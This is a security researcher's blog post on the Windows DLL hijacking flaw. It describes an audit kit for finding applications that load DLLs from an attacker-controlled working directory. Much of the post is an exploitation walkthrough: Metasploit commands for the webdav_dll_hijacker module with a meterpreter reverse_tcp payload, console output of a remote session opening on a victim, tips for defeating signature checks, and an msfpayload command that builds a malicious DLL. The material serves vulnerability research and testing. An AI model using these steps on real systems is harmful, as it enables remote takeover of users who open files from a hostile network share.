This post describes the process for identifying and exploiting applications vulnerable to the DLL hijack vulnerability disclosed last week. For background information on this vulnerability, as well as remediation information, please see my post on the Rapid7 Blog.
Update: The audit kit has been rewritten, please ignore the instructions in this post and read this post for information on the new kit.
This vulnerability is triggered when a vulnerable file type is opened from within a directory controlled by the attacker. This directory can be a USB drive, an extracted archive, or a remote network share. In most cases, the user will have to browse to the directory and then open the target file type for this exploit to work. The file opened by the user can be completely harmless, the flaw is that the application launched to handle the file type will inadvertently load a DLL from the working directory.
In practice, this flaw can be exploited by sending the target user a link to a network share containing a file they perceive as safe. iTunes, which was affected by this flaw until last week, is associated with a number of media file types, and each of these would result in a specific DLL being loaded from the same directory as the opened file. The user would be presented with a link in the form of \\server\movies\ and a number of media files would be present in this directory. If the user tries to open any of these files, iTunes would search the remote directory for one or more DLLs and then load these DLLs into the process. If the attacker supplied a malicious DLL containing malware or shellcode, its game over for the user.
Earlier this year, Taeho Kwon and Zhendong Su of the University of California, Davis, published a paper titled Automatic Detection of Vulnerable Dynamic Component Loadings. This paper describes the different variants of DLL hijacking and Table IV of this paper contains list of vulnerable applications. They identified the exact same issues I ran into when working on the Windows Shortcut exploit, and although they omitted network shares as a vector, they did cover both carpet bombing and archive files. Kwon and Su developed a test harness to detect the vulnerable applications through instrumentation, however the associated code is not public at this time.
To determine the extent of the problem, I developed a quick and dirty audit kit that leverages the Process Monitor utility and the Ruby interpreter. This kit will turn a desktop PC into a game of whack-a-mole by launching the file handlers for every registered file type, while recording whether or not a DLL was accessed within the working directory of the associated file. After the audit phase is complete, the generate.rb script can be used to create test cases that will validate each result. Clicking through the test cases will lead to the Calculator being launched when the result is exploitable and nothing when it is not.
To use this kit, first grab a copy from this URL. Extract this into a directory on the system that you want to test. Next, grab a copy of Process Monitor (procmon.exe) and copy the procmon.exe binary into the DLLHijackAuditKit directory. Launch the Process Monitor, accept the EULA, and close it out. Next, install the Ruby interpreter into the target system. Download Ruby 1.9.1-p430 and install it normally. Finally, from the Start menu, launch the "Start Command Prompt with Ruby" link. From this shell, change into the DLLHijackAuditKit directory.
At this point, run "audit.bat" and get ready to close about a thousand pop-up windows. Every 50 file types, the script will pause until you hit enter within the command shell window. This process takes about 10-15 minutes depending on the speed of your system and the dexterity of your mousing arm. After each pass, make sure you close all open Windows except for the command shell itself and the ProcMon process. After the script finishes with all registered file extensions, you will need to export a CSV log from ProcMon. To do this:
1. Access the "Save" item from the File menu in ProcMon
2. Make sure the "Events displayed using current filter" box is checked
3. Make sure the "Include profiling events" box is unchecked
4. Make sure you choose "Comma-Separated Values" as the format
5. Save the log file into into DLLTest\results.csv
Next, we will generate a directory of proof-of-concept files for validating the results. From the Ruby command-shell, change into the DLLTest subdirectory and run "ruby generate.rb"
Finally, open Windows Explorer to the DLLTest\exploits subdirectory. A file called "exploit.[ext]" will be created for every potentially exploitable file type. Verify that no applications are running in the background and click each file type, closing the application before the next test. If the application is vulnerable, a Calculator window will appear.
Once you have a list of affected file extensions, you can use the generic exploit module within the Metasploit Framework to exploit these.
Install the latest version of the Metasploit Framework and perform an Online Update (msfupdate on Linux) to get revision 10065 or newer. Start the Metasploit Console as root and run the following commands. On Windows, the module requires you to enable a firewall for ports 139 and 445, otherwise the target will attempt to connect via SMB instead of WebDAV.
msf > use exploit/windows/browser/webdav_dll_hijacker
msf exploit(webdav_dll_hijacker) > set EXTENSIONS "ext1 ext2 ext3 ext4"
msf exploit(webdav_dll_hijacker) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(webdav_dll_hijacker) > set LPORT 9999
msf exploit(webdav_dll_hijacker) > set LHOST (your IP address)
msf exploit(webdav_dll_hijacker) > exploit
[*] Started reverse handler on 192.168.0.226:4444
[*] Exploit links are now available at \\192.168.0.226\documents\
[*] Using URL: http://0.0.0.0:80/
[*] Local IP: http://192.168.0.226:80/
[*] Server started.
Now that the exploit is running, send the vulnerable client to the network share listed. Once the user double-clicks a file from within this share, you should see a session appear in the Metasploit console:
[*] 192.168.0.184:1153 PROPFIND /DOCUMENTS/
[*] 192.168.0.184:1153 PROPFIND => 207 Directory (/DOCUMENTS/)
[*] 192.168.0.184:1153 PROPFIND => 207 Top-Level Directory
[*] 192.168.0.184:1151 PROPFIND /DOCUMENTS
[*] 192.168.0.184:1151 PROPFIND => 301 (/DOCUMENTS)
[*] 192.168.0.184:1151 PROPFIND /DOCUMENTS/
[*] 192.168.0.184:1151 PROPFIND => 207 Directory (/DOCUMENTS/)
[*] 192.168.0.184:1151 PROPFIND => 207 Top-Level Directory
[*] Meterpreter session 1 opened (192.168.0.226:4444 -> 192.168.0.184:1154)...
msf exploit(webdav_dll_hijacker) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: WINXP\Developer
If you are trying to determine whether an application is exploitable or need to examine the DLL loading process in minute detail, use WinDbg with gflags to enable Loader Snapshots. After installing WinDbg, change to the installation directory from within a command shell and run "gflags /i NameOfTarget.exe sls"
After the flags have been set, use WinDbg to launch the application, specifying the working directory and the file to actually open. The output within WinDbg will make it clear whether or not a particular DLL is being loaded and if so, whether the initialization function is actually being called. This is a great way to be absolutely sure that a particular application is or is not vulnerable. When you are finished, disable Loader Snapshots with "gflags /i NameOfTarget.exe -sls"
In addition to the standard DLL load, there are some interesting corner cases found by the audit kit, although they require manual review to identify.
1) If the application is trying to load a DLL that is normally found within the PATH, but not the Windows system directories, and the PATH contains environment variables that have not been set, then the literal value of the environment variable will be treated as sub-directory of the working directory (the share). For example, if %unknownvariable%\bin is in the system PATH, the share will be searched for a directory called “%unknownvariable%\bin” and the target DLL will be loaded from within this sub-directory.
2. If the application tries to load a DLL whose name consists of a NULL, it will search for a file named ".DLL". This is exploitable in most cases and affects at least one Microsoft product.
3. Some applications will actually load and run executables from the working directory. The audit kit generates test cases for these as well using a binary that launches the calculator.
4. Applications using certain windowing and plugin libraries will validate that the DLL in question has a certain exported symbol before loading it. This will become obvious when you see the "missing symbol" error message after opening the generated test case. These are almost always exploitable.
5. If the application loads a configuration file (INI or otherwise) from the working directory, this can also be exploitable. A few instances of this have already been uncovered, in one case where the DLL that loads the INI file is injected into unrelated applications, making them vulnerable as well.
6. Some applications will require the DLL to be signed. These applications only validate that the signature was authorized by a trusted code signing root and a $200 code signing key is all you need to exploit these.
7. In at least one instance, a .NET DLL is loaded with full privileges. A normal native DLL will be rejected, but a crafted .NET DLL can be used to exploit these types of applications.
One final note, the msfpayload utility in the Metasploit Framework can now be used to generate DLL payloads. A quick example of this is below:
msfpayload windows/exec CMD=calc.exe D > test.dll